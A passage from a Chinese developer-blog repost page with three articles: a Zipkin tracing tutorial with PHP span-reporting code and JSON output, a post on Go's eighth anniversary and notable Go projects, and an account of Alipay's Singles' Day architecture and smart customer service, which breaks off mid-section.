    2. 向mysql发起的span,没有ss和sr。
  4. span代表一个RPC,那么span的parent span代表上一级RPC,所有span都是RPC而不是节点。

PHP对接zipkin

zipkin服务端无状态,只需要下载一个jar包即可启动,启动多个实例负载均衡也是可以的。

这里用作演示,按照官方指导下载启动一个服务端实例即可,它默认将上报的日志数据保存在内存里:zipkin.io/pages/quick…。

启动zipkin后,浏览器打开http://localhost:9411访问web UI。

zipkin支持HTTP协议上报span,在这个文档中详细描述了各个关键数据结构,以及client和server在上报Span时的字段和注意事项:zipkin.io/zipkin-api/…。

我在github上传了一份测试代码,它的目的并不是封装zipkin客户端,而是基于zipkin的原理以及上报协议来模拟一个调用链场景,从而可以在zipkin的web UI上可以看到可视化的效果,并且更重要的是可以看到zipkin是如何保存我们上报的span数据来满足各种trace查询需求的。

代码讲解

我模拟的场景是这样的:浏览器访问了a.service.com/method_of_a,在这个方法里先RPC调用b.service.com/method_of_b接口,然后再调用mysql.service.com执行一次mysql查询。

在命令行执行client.php,可以在web UI上看到如下效果。

在这个页面中,可以搜索到所有annotation中endpoint出现过a.service.com的span,也就是说:

  • 可能span是a.service.com被调用
  • 可能span是a.service.com发起调用他人

当点击第一个项时,会根据span所属的traceid得到整个调用链的完整时间轴和调用关系,也就是traceid下所有span。

从这张图可以看出,a.service.com先后调用了b.service.com和mysql.service.com,分别花费了一些时间,最后返回给浏览器之间自己处理又花费了一段时间。

接下来说说这里面有几个span。

span1

浏览器调用a.service.com是一个RPC,应该对应一个span。client是浏览器,server是a.service.com,但是浏览器并没有调用链上报的功能,所以无法收集到cs和cr两个关键信息。

但是为了描述出a.service.com处理这个RPC的server端状态,a.service.com可以生成一个traceid,并且为这个RPC生成一个spanid与span对象,这样这条来自系统外部的RPC就有了span记录了。

当a.service.com收到请求时,可以给这个server-side span打上sr,再处理完请求后可以打上ss,上报给zipkin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
复制代码// 该rpc上游是浏览器,没有trace信息,所以生成server-side span记录本服务的处理时间
$srTimestamp = timestamp();
 
$span1 = [
    "traceId" => idAlloc(),
    "name" => "/method_of_a",
    "id" => idAlloc(),
    "kind" => "SERVER",
    "timestamp" => timestamp(),
    "duration" => 0,
    "debug" => true,
    "shared" => false,
    "localEndpoint" => [
        "serviceName" => "a.service.com",
        "ipv4" => "192.168.1.100",
        "port" => 80,
    ],
    "annotations" => [
        [
            "timestamp" => timestamp(), // 收到浏览器调用的时间
            "value" => "sr"
        ],
 
    ],
    "tags" => [
        "queryParams" => "a=1&b=2&c=3",
    ]
];

traceid和id(span id)被分配出来,前者标识整个调用链,后者标识浏览器到a.service.com之间的RPC。

name是当前的接口名或者说RPC方法名。

kind设置SERVER表示这是一个server-side span,上报span时需要在annotaions中包含sr和ss。

timestamp是创建span的时间,它的意义没有sr重要,但是可以作为一些参考(比如创建span对象和生成sr的annotation之间差了很多时间,是不是程序卡在什么地方?)。

localEndPoint标明这个span的来源,也就是a.service.com上报的,它是SERVER,是被调用方的地址。

tags也就是binary annotations,是一种k-v模型的业务自定义信息,它用来额外的描述这条span的信息,这里我将这次调用的GET参数放在了queryParams里,方便追查问题时候可以看到请求参数。

注意,现在server-side span1只是刚刚建立(只有sr),等所有逻辑处理完成后才能标记ss,然后上报zipkin。

span2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
复制代码// 模拟调用b.service.com
function rpcToB($traceId, $parentSpanId) {
    // 生成rpc的spanId
    $spanId = idAlloc();
 
    // 假设a.service.com发起了一个rpc调用b.service.com
    // 那么它将生成client-side span
    $csTimestamp = timestamp();
    $span2 = [
        "traceId" => $traceId,
        'id' => $spanId,
        'parentId' => $parentSpanId,
        "name" => "/method_of_b",
        "kind" => "CLIENT",
        "timestamp" => timestamp(),
        "duration" => 0,
        "debug" => true,
        "shared" => false,
        "localEndpoint" => [
            "serviceName" => "a.service.com",
            "ipv4" => "192.168.1.100",
            "port" => 80,
        ],
        "annotations" => [
            [
                "timestamp" => $csTimestamp, // 发起b.service.com调用的时间
                "value" => "cs"
            ],
        ],
        "tags" => [
            "queryParams" => "e=1&f=2&g=3",
        ]
    ];
 
    // 在rpc请求中将traceId,parentSpanId,spanId都带给了b.service.com
    // http.call("b.service.com/method_of_b?e=1&f=2&g=3", [$traceId, $parentSpanId, $spanId])
 
    // 假设b.service.com收到请求后这样处理
    {
        $b_srTimestamp = timestamp();
        $span3 = [
            "traceId" => $traceId,
            'id' => $spanId,
            'parentId' => $parentSpanId,
            "name" => "/method_of_b",
            "kind" => "SERVER",
            "timestamp" => $b_srTimestamp,
            "duration" => 0,
            "debug" => true,
            "shared" => true,
            "localEndpoint" => [
                "serviceName" => "b.service.com",
                "ipv4" => "192.168.1.200",
                "port" => 80,
            ],
            "annotations" => [
                [
                    "timestamp" => $b_srTimestamp, // 收到a.service.com请求的时间
                    "value" => "sr"
                ],
            ],
        ];
        // 经过200毫秒处理
        usleep(200 * 1000);
        $b_ssTimestamp = timestamp();
        $span3['annotations'][] = [
            "timestamp" => $b_ssTimestamp, // 应答a.service.com的时间
            "value" => "ss"
        ];
        $span3['duration'] = $b_ssTimestamp - $b_srTimestamp;
        postSpans([$span3]);
    }
 
    // a.service.com收到应答, 记录cr时间点, duration
    $crTimestamp = timestamp();
    $span2['annotations'][] = [
        "timestamp" => $crTimestamp, // 收到b.service.com应答的时间
        'value' => "cr"
    ];
    $span2['duration'] = $crTimestamp - $csTimestamp;
    global $spans;
    $spans[] = $span2;
}
rpcToB($span1['traceId'], $span1['id']);

接下来要调用b.service.com,这是一个新的RPC,所以需要一个新的span,所以分配了新的spanid代表这次RPC,它的父亲RPC是span1,也就是浏览器->a.service.com这个调用。

在a.service.com中需要为这个span生成client-side信息(保存在变量$span2中),主要是指cs和cr。而在b.service.com收到请求后会为这个span生成server-side信息(保存在变量$span3中),$span2和$span3分别上报到zipkin后会被聚合到一起完整的描述这次的span。(注:这里$span2和$span3只是变量名,它们属于同一个span)

对于a.service.com来说,timestamp=cs,duration=cr-cs。

对于b.service.com来说,timestamp=sr,duration=ss-sr。

而cr与ss之间,cs与sr之间的差值,能描述出网络上的传输时间。

b.service.com收到请求后并没有发起对其他系统的调用,所以最后只postSpans上传了这一个server-side span信息。

a.service.com收到应答后还会继续向下执行其他调用,所以client-side span信息只是保存到数组里,等待最后批量发给zipkin。

特别注意,因为client-side和server-side都是在为同一个span贡献信息,所以两端上报的traceId,spanId,parentSpanId都是一样的,描述的都是这个span(RPC)的信息,尤其是parentSpanId,它代表这个RPC的上一级RPC,所以client-side和server-side都是一样的值,对dapper理论理解不深很容易产生误解。

实际上在zipkin最新V2版本的API(也就是我用的API)中,不再要求在annotations中上传cs,cr,sr,ss。而是通过kind标记是server-side span还是client-side span,两端记录自己的timestap来取代cs和sr,记录duration来取代cr和ss,可以实现完全一样的效果,好处是kind,timestamp,duration比annotation打点的方法更容易检索和筛选。

当kind=SERVER并且RPC携带了spanid而来,那么shared应该为true,表明被调用方和调用方共同贡献代表这个RPC的span信息,如果最终zipkin汇聚时发现shared=true的server-side span没有对应的client-side span,说明有上报丢失。

当kind=SERVER的情况下,RPC没有携带spanid而来,那么shared应该为false,表明RPC上游没有生成server-side span,这样zipkin不会认为上报存在丢失。

span4

接下来,a.service.com又调用了mysql执行SQL,但是mysql并不会处理span,所以会缺失server-side的span信息sr和ss。

但是a.service.com是可以生成cs和cr信息的,如果还是像之前一样只上报自己的locaEndpoint的话,在zipkin中其实是不知道本次调用了什么服务(因为server-side没有生成sr和ss,所以没有server-side的serviceName服务和address地址信息)。

好在zipkin其实是考虑到了这种情况,可以通过在client-side填写remoteEndPoint记录被调用方的服务名和地址,这样就不会因为server-side不记录localEndPoint而不知道被调用方的服务名称了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
复制代码// 模拟访问数据库
function queryDB($traceId, $parentSpanId) {
    // 生成数据库访问用的spanId
    $spanId = idAlloc();
 
    // 假设a.service.com查询数据库, 因为数据库无法埋点,所以只能生成client-side span
    $csTimestamp = timestamp();
    $span4 = [
        "traceId" => $traceId,
        'id' => $spanId,
        'parentId' => $parentSpanId,
        "name" => "mysql.user",
        "kind" => "CLIENT",
        "timestamp" => timestamp(),
        "duration" => 0,
        "debug" => true,
        "shared" => false,
        "localEndpoint" => [
            "serviceName" => "a.service.com",
            "ipv4" => "192.168.1.100",
            "port" => 80,
        ],
        "remoteEndpoint" => [
            "serviceName" => "mysql.service.com",
        ],
        "annotations" => [
            [
                "timestamp" => $csTimestamp, // 发起数据库查询的时间
                "value" => "cs"
            ],
        ],
        "tags" => [
            "sql" => "select * from user;",
        ]
    ];
 
    usleep(100 * 1000); // 模拟花费了100毫秒查询数据库
 
    // 得到数据库查询结果
    $crTimestamp = timestamp();
    $span4['annotations'][] = [
        "timestamp" => $crTimestamp, // 收到数据库结果的时间
        'value' => "cr"
    ];
    $span4['duration'] = $crTimestamp - $csTimestamp;
    global $spans;
    $spans[] = $span4;
}
queryDB($span1['traceId'], $span1['id']);

最后

当mysql查询完成后,可以将a.service.com中生成的所有span(3个)上报给zipkin。

在zipkin中可以查看这个调用链的底层数据(JSON格式),其内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
复制代码[
  {
    "traceId": "00055db10082961f",
    "id": "00055db100829627",
    "name": "/method_of_a",
    "timestamp": 1510389682705960,
    "duration": 369915,
    "annotations": [
      {
        "timestamp": 1510389682705960,
        "value": "sr",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      },
      {
        "timestamp": 1510389683075875,
        "value": "ss",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "binaryAnnotations": [
      {
        "key": "queryParams",
        "value": "a=1&b=2&c=3",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "debug": true
  },
  {
    "traceId": "00055db10082961f",
    "id": "00055db10082962d",
    "name": "/method_of_b",
    "parentId": "00055db100829627",
    "timestamp": 1510389682705966,
    "duration": 214131,
    "annotations": [
      {
        "timestamp": 1510389682705966,
        "value": "cs",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      },
      {
        "timestamp": 1510389682710925,
        "value": "sr",
        "endpoint": {
          "serviceName": "b.service.com",
          "ipv4": "192.168.1.200",
          "port": 80
        }
      },
      {
        "timestamp": 1510389682915137,
        "value": "ss",
        "endpoint": {
          "serviceName": "b.service.com",
          "ipv4": "192.168.1.200",
          "port": 80
        }
      },
      {
        "timestamp": 1510389682920097,
        "value": "cr",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "binaryAnnotations": [
      {
        "key": "queryParams",
        "value": "e=1&f=2&g=3",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "debug": true
  },
  {
    "traceId": "00055db10082961f",
    "id": "00055db10085dab8",
    "name": "mysql.user",
    "parentId": "00055db100829627",
    "timestamp": 1510389682920125,
    "duration": 105068,
    "annotations": [
      {
        "timestamp": 1510389682920125,
        "value": "cs",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      },
      {
        "timestamp": 1510389683025193,
        "value": "cr",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "binaryAnnotations": [
      {
        "key": "sa",
        "value": true,
        "endpoint": {
          "serviceName": "mysql.service.com"
        }
      },
      {
        "key": "sql",
        "value": "select * from user;",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "debug": true
  }
]

一共有3个span记录,分别是:

  • id=00055db100829627:a.service.com被调用了method_of_a方法,因为调用方是浏览器,所以只有ss和sr。
  • id=00055db10082962d:b.service.com被调用了method_of_b方法,调用方是a.service.com,它贡献了cs和cr;被调用方贡献了sr和ss,每个annotation里的endpoint都是由我们上报时的localEndpoint标识的。
  • id=00055db10085dab8:a.service.com调用了mysql.user接口(类似于RPC方法名,这里是指Mysql的user数据库),因为数据库没有调用链能力,所以这里只有cs和cr,同时因为上报时提供了remoteEndpoint信息,所以zipkin在binaryAnnotation里保存了一个key=sa,其endpoint是对端地址mysql.service.com而不是a.service.com地址,从而在WEB UI中展示被调用方的名字。

结束

最后,点击第二行这个Span,可以看到a.service.com调用b.service.com的所有annotation描述信息:

补充

后续我让zipkin对接了ES,在ES中一个调用链的数据保存格式如下,可见其数据结构就是我们HTTP提交的原始模样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
复制代码[
      {
        "_index" : "zipkin:span-2017-11-12",
        "_type" : "span",
        "_id" : "AV-wXowio-47v8n2AYke",
        "_score" : 2.5389738,
        "_source" : {
          "traceId" : "00055dc8f14d83e5",
          "duration" : 220529,
          "localEndpoint" : {
            "serviceName" : "a.service.com",
            "ipv4" : "192.168.1.100",
            "port" : 80
          },
          "debug" : true,
          "timestamp_millis" : 1510492506784,
          "kind" : "CLIENT",
          "name" : "/method_of_b",
          "annotations" : [
            {
              "timestamp" : 1510492506784914,
              "value" : "cs"
            },
            {
              "timestamp" : 1510492507005443,
              "value" : "cr"
            }
          ],
          "id" : "00055dc8f14d8492",
          "parentId" : "00055dc8f14d848e",
          "timestamp" : 1510492506784916,
          "tags" : {
            "queryParams" : "e=1&f=2&g=3"
          }
        }
      },
      {
        "_index" : "zipkin:span-2017-11-12",
        "_type" : "span",
        "_id" : "AV-wXowio-47v8n2AYkf",
        "_score" : 1.6739764,
        "_source" : {
          "traceId" : "00055dc8f14d83e5",
          "debug" : true,
          "timestamp_millis" : 1510492507005,
          "kind" : "CLIENT",
          "annotations" : [
            {
              "timestamp" : 1510492507005467,
              "value" : "cs"
            },
            {
              "timestamp" : 1510492507109695,
              "value" : "cr"
            }
          ],
          "parentId" : "00055dc8f14d848e",
          "tags" : {
            "sql" : "select * from user;"
          },
          "duration" : 104228,
          "remoteEndpoint" : {
            "serviceName" : "mysql.service.com"
          },
          "localEndpoint" : {
            "serviceName" : "a.service.com",
            "ipv4" : "192.168.1.100",
            "port" : 80
          },
          "name" : "mysql.user",
          "id" : "00055dc8f150e217",
          "timestamp" : 1510492507005467
        }
      },
      {
        "_index" : "zipkin:span-2017-11-12",
        "_type" : "span",
        "_id" : "AV-wXot9o-47v8n2AYkd",
        "_score" : 1.2809339,
        "_source" : {
          "traceId" : "00055dc8f14d83e5",
          "duration" : 205077,
          "shared" : true,
          "localEndpoint" : {
            "serviceName" : "b.service.com",
            "ipv4" : "192.168.1.200",
            "port" : 80
          },
          "debug" : true,
          "timestamp_millis" : 1510492506784,
          "kind" : "SERVER",
          "name" : "/method_of_b",
          "annotations" : [
            {
              "timestamp" : 1510492506784916,
              "value" : "sr"
            },
            {
              "timestamp" : 1510492506989993,
              "value" : "ss"
            }
          ],
          "id" : "00055dc8f14d8492",
          "parentId" : "00055dc8f14d848e",
          "timestamp" : 1510492506784916
        }
      },
      {
        "_index" : "zipkin:span-2017-11-12",
        "_type" : "span",
        "_id" : "AV-wXowio-47v8n2AYkg",
        "_score" : 1.2809339,
        "_source" : {
          "traceId" : "00055dc8f14d83e5",
          "duration" : 378788,
          "localEndpoint" : {
            "serviceName" : "a.service.com",
            "ipv4" : "192.168.1.100",
            "port" : 80
          },
          "debug" : true,
          "timestamp_millis" : 1510492506784,
          "kind" : "SERVER",
          "name" : "/method_of_a",
          "annotations" : [
            {
              "timestamp" : 1510492506784911,
              "value" : "sr"
            },
            {
              "timestamp" : 1510492507163522,
              "value" : "ss"
            }
          ],
          "id" : "00055dc8f14d848e",
          "timestamp" : 1510492506784911,
          "tags" : {
            "queryParams" : "a=1&b=2&c=3"
          }
        }
      }
    ]

zipkin使用B3协议在RPC两端传递span上下文,具体参考:github.com/openzipkin/…。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Go 语言开源发布 8 周年,盘点基于 Go 的重要开源项目

发表于 2017-11-13

点击上方“CSDN”,选择“置顶公众号”

关键时刻,第一时间送达!

Go 语言作为开源项目发布,已经 8 周年了。官方发表博客表示了对它的庆祝,并罗列了几项流行度趋势图。我们明显可以看出,Go 这几年的快速发展。

来源:trends.google.com

Go 在全世界拥有大约 100 万的 Go 开发者,它在 GitHub 的 2017 年最流行编程语言榜上排第九,超过了 C,也是 2017 年 GitHub 增长最快的语言,同比增长率 52%,超过了 Javascript 的 44%。

来源:octoverse.github.com

Stack Overflow 2017 年的调查显示,Go 同时进入用户最喜欢编程语言和最想要编程语言榜单的前五,也是唯一一个同时进入两个榜单前 5 的语言。

来源:insights.stackoverflow.com/survey/2017

用 Go 的开发者喜欢它(最喜欢的是 Rust),没用过的人也迫切想用它。Go 是云基础设施语言,每一家云服务公司的基础设施中都有用 Go 实现的关键组件,它也是阿里巴巴、Cloudflare 和 Dropbox 等公司的云设施的关键组成部分。Go 开发者已经在准备开发下一代的 Go 2。

基于 Go 的重要开源项目

  • Moby(https://github.com/moby/moby):一个新的开源项目,旨在推动软件的容器化,并帮助生态系统使容器技术主流化。

  • Kubernetes(https://github.com/kubernetes/kubernetes):来自 Google 云平台的开源容器集群管理系统,用于自动部署、扩展和管理容器化(containerized)应用程序。

  • Hugo(https://github.com/gohugoio/hugo):Go 编写的静态网站生成器,速度快,易用,可配置。Hugo 有一个内容和模板目录,把他们渲染到完全的 HTML 网站。

  • Prometheus(https://github.com/prometheus/prometheus):一个开源的服务监控系统和时间序列数据库。

  • Grafana(https://github.com/grafana/grafana):Graphite 和 InfluxDB 仪表盘和图形编辑器。

  • Syncthing(https://github.com/syncthing/syncthing):一个免费开源的工具,它能在你的各个网络计算机间同步文件/文件夹。

————— END —————

一小时入门 Python 3 网络爬虫

我在楼上写代码,你在楼下虐我娃

曾经的 Java IDE 王者 Eclipse 真的没落了?21 款插件让它强大起来!

)

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

天猫11·11:蚂蚁金服如何用小团队支撑数亿人买买买?

发表于 2017-11-13


策划 & 撰稿丨 Natalie
又到了一年一度的“天猫双 11”,外行看热闹(剁手),内行看门道(技术)。每年“天猫双 11”都会创造不少与“交易量”相关的世界纪录,而这些世界纪录的背后则有改变世界的技术作支撑。作为买买买的重要一环,支付宝是如何撑起 12 万笔每秒的交易量的?InfoQ 小编带你走进蚂蚁金服一探究竟。
下面这张图,记录了支付宝历年双 11 的峰值交易数据。

从 2010 年的每秒 300 笔,到 2016 年的每秒 12 万笔,交易笔数提升的背后,是蚂蚁金服技术能力被“逼”着快速升级。

1 从人肉云计算到智能化云平台
曾经支付宝距离数据库崩溃仅剩 4 秒
支付宝刚起步时,技术远没有今天那么受重视,原因很简单,不需要、没必要。在创业之初,2004 年时,支付宝还是淘宝中的一个结算部门,淘宝的会计人员用两台电脑和一张 Excel 表就能进行结算。那时每天的交易金额是三位数,全天交易笔数只有十几笔,如果分摊到每秒钟,则约等于零。

2009 年是淘宝第一次搞双 11 大促,那时双 11 还不像现在这样广为人知,所以 2009 年的交易量并不大。在此之前,支付宝也刚完成二代架构的升级改造。在二代架构做完之后,支付宝的技术团队感觉能解决的技术问题都已经解决了,很多人认为未来系统也许就可以这样发展下去。因此在 2010 年双 11 大促之前,支付宝的系统规划是按照每年增长 100% 余量预估的。

但谁也没有预料到人们买买买的疯狂程度,二代架构上线并没有多久就迎来了严峻的考验。双 11 当天零点刚过,支付宝的业务量快速攀升,每秒交易量直接飙到平时峰值的三倍——每秒 500 笔,而且居高不下。这时大家才意识到,系统容量并不足以支撑当天的交易量。

情急之下,支付宝技术团队开始不停地“搬资源”、“砍业务”,东拼西揍地保障系统不崩溃,这一窘迫的过程事后又被大家戏称为“人肉云计算”。直到当天的 23 时 59 分 30 秒,眼看 2010 年双 11 大促就要结束了,突然核心账务系统报警。千钧一发之际,技术团队紧急将内部对账用的会计系统应用杀掉(可以在双 11 过去之后再用交易数据恢复),将资源释放出来,这次双 11 才算有惊无险地度过,而这时距离数据库崩溃仅剩 4 秒。

“双 11”逼出来支付宝的三代架构
从 2005 年开始,支付宝的技术架构经历了“烟囱型”、“面向服务型”、 “云平台型”三个时期。支付宝的三代架构可以说是和双 11 彼此成就的。

支付宝的第一代架构就像一个个独立的“烟囱”,没有基础架构可言,做一个业务就竖起一个“烟囱”。“烟囱”之间的关联性不大,每做一个新业务就要对一个烟囱进行手动改造,而支持主要业务的“大烟囱”则经历了无数次改动。

第一代“烟囱型”架构能够满足小团队开发、业务快速试错的需求,但是这个架构无法支持大团队的分布式开发。与此同时,它的部署也是集中的,核心系统就是一个集群,数据库也只有一个。随着业务量的上升,这样的数据库和集群很快就会达到极限。为了满足业务扩展的需要,分布式架构改造被提上了日程。

当时,分布式系统在互联网的应用并不罕见,规模较大的互联网公司系统都分布化了。但是由于金融系统对于稳定性和安全性要求较高,分布化尚无先例。对于金融系统来说,任何改进都要先保证用户账目上的钱分毫不差,在系统数据分离之后,保证系统之间业务处理的一致性就成了核心问题。

2007 年初,分布式系统技术逐渐成熟,特别是大规模 SOA 系统中的分布式事务处理标准逐渐明晰,支付宝随之启动了分布式改造工作。从 2007 年开始,支付宝陆续花费了三年左右对整个系统进行分布化,将原来的大系统拆成了一个个分布式的“服务”。由此,支付宝夯实了分布式事务的基础设施,所有的业务都可以分开来做,系统具备了可伸缩性,如果遇到业务峰值,就可以增加资源。当然,这时增加资源还需要人工搬运。但支付宝的第二代架构已经为第三代架构“云支付”打下了基础,因为如果使用云计算,系统首先要分布,只有这样才能用很多小型机器、云资源作为支撑。

二代架构改造完成之后,淘宝开始了每年一度的双 11 大促。对于支付宝技术来说,2010 年是一个拐点,这一年,交易数据的峰值比此前翻了三倍,也正是这一年惊险的双 11 让技术团队意识到,业界现有技术和传统架构已经无法满足支付宝的发展需求。

支付宝技术团队尝试了一种新的对策——分布式“异地多活”架构。蚂蚁金服副总裁胡喜将其比喻为“拆掉了高端中央收银台,换成了分散在商场各个角落的无数小型计算器”,每台计算器虽然不如单一中央收银台厉害,但个个都能记点帐,同时支付宝为分散在各处的计算器设计了相互关联的逻辑关系,使它们互为补充、互相备份,从全局上保证运算可靠,因而任何单个计算器的故障,都不会影响整个系统的正常运行。这是这种架构中最核心的云计算能力。

从二代架构过渡到三代架构,支付宝又花了三年时间。在此期间,支付宝开始自主研发中间件、数据库、大数据平台。第三代云支付架构完成了两方面的改造:一方面是在底层使用云计算技术;另一方面是在上层把服务变成云服务,如此一来,建立在这个架构之上的业务增长就不会受到限制。

正是这个云计算架构,支撑了近几年淘宝大促的交易,也使后来的“天猫双 11”能够平稳地进行。

2016 年双 11 蚂蚁金服在技术保障上有两个亮点,一是整个支付核心链路,包括交易、支付、会员、账务都运行在自研数据库 OceanBase 上;另一个是蚂蚁自主研发的弹性架构,能够利用全国多个城市的云计算资源,从而支撑 12 万笔/秒的支付峰值(2015 年的 1.4 倍)。

弹性架构具备在云计算平台上快速伸缩容量的能力,50% 流量基于云计算资源弹性伸缩,能够快速扩充支付容量,从而优化运维成本。理论上可以做到每秒百万级的交易支付能力。

2017 年支付技术保障新亮点
1. 离在线混合部署

今年蚂蚁金服推出了离在线混合部署,使用的服务器资源有 25% 是自有的,55% 在云上,20% 是离线资源。今年天猫双 11 交易高峰期,一部分交易将首次跑在临时“征用”来的存放和处理分析离线数据的服务器上。

说是临时“征用”,但绝不仅仅是“征来就用”那么简单。因为处理离线数据(即处理每天数据分析报告以及当日账表)和处理在线交易(即处理支付宝用户在线的海量实时交易)是完全不同的任务,这也决定了处理离线数据和处理在线交易的服务器的配置相差悬殊。

如何在交易高峰期,以秒级的速度将在线服务器的各种软件、应用转移到离线服务器中?这背后起到关键作用的,是容器技术和统一资源调度的能力。容器技术相当于 标准化改造,有了这个标准化改造的能力,各种配置不一、可以暂时放下手中的活伸出援手的服务器,都可以在各种大促场景派上用场,帮助疏通与分流。据估算,离在线混部技术能为 2017 年天猫双 11 减少近两千台服务器的投入。

2. 超级会计师 OceanBase

2016 年天猫双 11,12 万笔每秒交易峰值的背后,是“超级会计师”OceanBase 在发挥关键作用。

OceanBase 是一个海量数据库,可以存放千亿条以上的记录,单台普通的服务器每秒可以处理百万笔事务,平均一次花的时间仅在毫秒级别。

但意外的发生:服务器机房所在城市断电、连接机房的光纤被挖断、再好的机器也有出故障的时候……所以,金融机构普遍采用两地三中心来部署机房。

为了达到更高的可靠性,OceanBase 今年开始把数据同时放到三个城市,做五份数据备份,进一步降低了出错的可能性。

三地五中心,不仅仅是多了一个城市两个机房,蚂蚁金服还尝试使用一个新的选举协议:在出意外情况时,谁得到大多数投票,谁就当选主库。主库不再是固定的,每个被选举出的主库都是临时的,且它做的决定必须得到半数以上的同意才能实施。举个例子,一个主库刚被选举出来,它所在城市的光纤突然被挖断了,它会立即被票出去,做不成老大了,它做的决定也会全部被宣布无效;同时,一个新的主库会被票选出来,保证线上交易的顺利进行。

采用三地五中心的方案后,主库突发故障或者任何一个甚至两个机房同时断电、断网,业务都能在极短时间内自动恢复,不需要任何形式的人工对账。

3. 金融级图数据库 GeaBase

除了 OceanBase,蚂蚁技术团队还自主研发了一个叫 GeaBase(以下简称 GB)的金融级图数据库,它通过特有的数据组织方式和分布式并行计算算法,可以在几十毫秒内彻查目标对象的多跳资金转移关系、设备关联关系等组成的复杂网络,从而迅速锁定目标关联、识别欺诈。

GeaBase 是蚂蚁金服风控系统背后的关键技术支撑之一。刷单党、花呗套现党、羊毛党、欺诈等行为,都依靠 GeaBase 来识别。胡喜介绍道:“风控从最早偏向于规则架构,到后来规则加模型架构,现在向 AI 转,这也是双 11 相关的关键能力,背后承载的是我们在分布式金融交易之外的金融级实时决策能力。”

2 “未问先答”的新客服,开启主动服务模式
双 11 大促当天,随着交易量暴增,使用中遇到问题的用户数量也会大幅增加。不知道在你的想象中,支付宝会有多少客服小二?

记者走访了一圈蚂蚁金服 Z 空间大楼,这里的淘宝小二只有 600 人左右,算上成都团队和外包团队,也不过小数千人。而且,蚂蚁金服智能客服负责人子孟说道:“淘宝天猫平台业务量逐年增长,但是我们客服人数没有增加,反而还减少了。”

而这背后,是蚂蚁金服客服技术的进步史。

子孟介绍道,客户服务分为三个阶段:

客服 1.0:查询问答

在这个阶段,更多是查询类的事情,把很多回答的内容做成一个类目树让大家查询,不管在热线电话还是在 PC 端、APP 端,多数情况下需要大家逐层挖掘。比如我们拨打客服电话经常遇到的“xx 请按 1,xx 请按 2……人工服务请按 0”,要找到精确的问题分类或人工客服,不得不先听一段无比冗长的录音,导致查询效率底下,难以找到准确的答案。

客服 2.0:快捷应答

这一阶段是互联网企业通常会采用的手段,包括蚂蚁金服在很多场景下也会切换到这个手段,就是快捷应答。它包含两个点:一是更多在 APP 端、PC 端用问答机器人解决用户问题,通过用户问题可以快速识别问题分类,并指向某一个具体答案或者人工服务;二是在传统的电话过程当中,减少按键输入,更多使用语音交互方式。

客服 3.0:未问先答

很多时候客服的角色是相对滞后的,要等用户找上门来提出问题,甚至反复不断提出要求才能够回应,我们认为极致服务应该把事情做到事前,在用户可能遇到问题的时候提前化解他的障碍和疑问。

前一阶段积累了很多数据和用户行为的数据,我们现在希望推出的叫做“未问先答”服务。

在所有服务渠道中,我们不断依据用户的实时行为数据,经过学习和分析,在用户没有开口的时候就知道他可能想问什么问题,更快速地解决问题,这是“未问先答”这样一个技术在整个服务中的角色。

“未问先答”服务使用效果如下(整理自真实录音):

1
2
3
4
5
6
7
8
9
复制代码`智能客服:欢迎致电蚂蚁金服,为给您提供自助或人工服务,请简单描述一下您的问题,请讲。`

用户:我想问一下那个余额宝里面的那个一万块的话一天是多少利息?

机器客服:您是要咨询余额宝的收益如何计算,对吗?

用户:对!

机器客服:您的解决方案已经发送,你可以登录手机支付宝在首页进行查询,请问还有其他问题吗,没有问题请挂机,如需人工服务请按 1。

“未问先答”还有其他玩法,比如用户在支付宝里反复操作、研究一个功能,但是多次操作后还没有成功,那么智能客服就会自动弹出,询问是否遇到困难,然后给出方案帮助客户解决。

“未问先答”的技术原理

“未问先答”如神算子一般的预测能力背后,离不开数据采集、算法加工和持续反馈学习。

